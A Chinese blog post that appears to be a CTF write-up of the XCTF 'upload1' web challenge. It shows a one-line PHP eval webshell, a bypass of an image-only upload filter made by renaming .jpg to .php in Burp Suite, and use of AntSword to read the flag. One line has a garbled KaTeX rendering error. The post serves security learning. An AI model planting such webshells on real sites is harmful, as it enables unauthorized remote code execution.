攻防世界web第六题upload1

发布于:2025-02-11 ⋅ 阅读:(65) ⋅ 点赞:(0)

在这里插入图片描述
这是题目,可以看出是个上传文件的题目,考虑文件上传漏洞,先随便上传一个文件试试,要求上传的是图片。在这里插入图片描述
可以看到上传成功。
考虑用一句话木马解决,构造文件并修改后缀为jpg,然后上传。

<?php
@eval($_POST['attack']);
?>

上传成功
在这里插入图片描述
打开burpsuite,
在这里插入图片描述
jpg改为php
在这里插入图片描述
forward,看到php格式上传成功
在这里插入图片描述
打开蚁剑,
在这里插入图片描述
打开flag.php,找到flag
在这里插入图片描述
在这里插入图片描述
总结:文件上传漏洞,通过一句话木马获取访问后台的权限,进而拿到flag

知识点:
1.一句话木马:
一句话木马就是只需要一行代码的木马,短短一行代码,就能做到和大马相当的功能。为了绕过waf的检测,一句话木马出现了无数种变形和流量加密方式,但本质是不变的:木马的函数执行了我们发送的命令,并将命令的执行结果返回。
一般WEB页面通过GET 、POST 、COOKIE这三种方式向一个网站提交数据,一句话木马用KaTeX parse error: Double superscript at position 8: _GET[' '̲]、_POST[’ ‘]、$_COOKIE[’ '] 接收客户端传递的数据,并把接收的数据传递给一句话木马中执行命令的函数,进而执行命令。

<?php @eval($_POST['attack']);?>

利用文件上传漏洞,往目标网站中上传一句话木马,

@表示后面即使执行错误,也不报错

eval()函数表示括号内的全都当做代码执行

$_POST[‘attack’]表示从页面中获得attack参数值
当我们从页面给attack赋值PHP代码后就会得到执行,蚁剑的原理就是构造获取后台的PHP代码然后上传并执行!

2.burpsuite
Burp Suite是一款流行的集成式Web应用程序安全测试工具套件,广泛应用于渗透测试、安全审计、黑盒测试和漏洞研究等Web安全领域。它由PortSwigger公司开发,提供可视化界面和扩展机制,支持各种安全测试,可通过代理截获HTTP和HTTPS请求,观察请求和响应,对请求进行修改和重发,协助发现和验证Web应用程序的各种漏洞,如跨站点脚本、SQL注入、文件包含等。

Burp Suite包含了多个工具,如代理、重放器、爬虫、扫描器和拦截器等。其中,代理是最重要的组件之一,可以拦截所有的HTTP/HTTPS请求和响应,对数据进行修改和重发,使测试人员可以更全面地了解Web应用程序的行为。另外,Burp Suite的扫描器可以自动发现应用程序中可能存在的漏洞,提高了测试效率和准确性。

Burp Suite是一款功能强大、易于使用的Web应用程序安全测试工具套件,对于Web应用程序的安全测试和评估提供了有力的支持。

3.蚁剑
中国蚁剑(AntSword)是一款跨平台的开源网站管理工具,旨在为渗透测试人员、安全研究人员以及网站管理员提供一个强大的工具集。该项目主要使用JavaScript作为编程语言,结合了Electron、ES6、dhtmlx、Node.js等技术栈,确保了工具的跨平台兼容性和高效性。

项目核心功能
中国蚁剑的核心功能包括但不限于:

网站管理:提供全面的网站管理功能,包括文件管理、数据库管理、命令执行等。
跨平台支持:支持Windows、Linux、macOS等多个操作系统,确保用户在不同环境下都能高效使用。
模块化设计:采用模块化设计思路,方便用户理解和修改代码,同时也鼓励社区贡献。


网站公告

今日签到

点亮在社区的每一天
去签到